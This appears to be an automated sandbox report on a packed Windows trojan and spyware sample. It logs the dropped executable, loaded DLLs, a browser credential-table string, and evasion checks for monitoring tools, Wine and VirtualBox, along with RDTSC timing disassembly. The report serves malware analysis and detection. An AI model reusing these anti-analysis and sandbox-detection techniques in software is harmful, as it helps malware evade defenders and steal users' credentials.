Source: file.exe, 00000000.00000003.2299279699.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309951097.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303471067.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298586814.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2302327005.0000000005F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316250913.0000000005E47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2293677998.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298054881.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298794544.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2292168161.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313253653.0000000005F78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980223844043887

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/7@3/2

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Code function: 3_2_052415D0 ChangeServiceConfigA,

3_2_052415D0

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\R2L4HOH3ABPEWSR51AXUR0XR.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4292

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2148948692.00000000059A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165178371.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165275120.00000000059C0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 16964
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe "C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 1880
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe "C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2991616 > 1048576

Source: file.exe

Static PE information: Raw size of vsahlvgz is bigger than: 0x100000 < 0x2af000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Unpacked PE file: 3.2.R2L4HOH3ABPEWSR51AXUR0XR.exe.840000.0.unpack :EW;.rsrc:W;.idata :W;xefzgxds:EW;hdhcczpq:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: real checksum: 0x2b8b83 should be: 0x2b5148
Source: file.exe	Static PE information: real checksum: 0x2e7340 should be: 0x2ea4f6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: vsahlvgz
Source: file.exe	Static PE information: section name: vitkkyas
Source: file.exe	Static PE information: section name: .taggant
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name:
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: .idata
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: xefzgxds
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: hdhcczpq
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0115EE20 pushfd ; iretd	0_3_0115EE2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01158674 push esi; retf	0_3_01158675
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011670A9 push esi; iretd	0_3_011670AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01167169 push edi; retf	0_3_0116788A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011660C1 push esp; ret	0_3_011660C2

Source: file.exe	Static PE information: section name: entropy: 7.977734003141143
Source: R2L4HOH3ABPEWSR51AXUR0XR.exe.0.dr	Static PE information: section name: entropy: 7.786600738531364

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90F810 second address: 90F0B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B5081782Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F1B50817828h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 xor dword ptr [ebp+122D1D99h], edi 0x0000001b mov dword ptr [ebp+122D1CFEh], ebx 0x00000021 push dword ptr [ebp+122D0BD9h] 0x00000027 mov dword ptr [ebp+122D1E6Ah], esi 0x0000002d mov dword ptr [ebp+122D23DCh], ebx 0x00000033 call dword ptr [ebp+122D1D04h] 0x00000039 pushad 0x0000003a jmp 00007F1B5081782Ah 0x0000003f xor eax, eax 0x00000041 mov dword ptr [ebp+122D1E5Bh], esi 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b clc 0x0000004c pushad 0x0000004d xor al, 00000048h 0x00000050 cmc 0x00000051 popad 0x00000052 mov dword ptr [ebp+122D3EBFh], eax 0x00000058 cmc 0x00000059 mov esi, 0000003Ch 0x0000005e or dword ptr [ebp+122D23DCh], eax 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 jl 00007F1B5081782Dh 0x0000006e jns 00007F1B50817827h 0x00000074 lodsw 0x00000076 jmp 00007F1B50817835h 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f pushad 0x00000080 mov dword ptr [ebp+122D22C5h], edi 0x00000086 movsx edi, di 0x00000089 popad 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e mov dword ptr [ebp+122D23DCh], edx 0x00000094 nop 0x00000095 jmp 00007F1B50817832h 0x0000009a push eax 0x0000009b je 00007F1B50817830h 0x000000a1 pushad 0x000000a2 push eax 0x000000a3 push edx 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89332 second address: A89338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F3A8 second address: A8F3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1B50817826h 0x0000000a jmp 00007F1B50817835h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F531 second address: A8F53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F53C second address: A8F544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
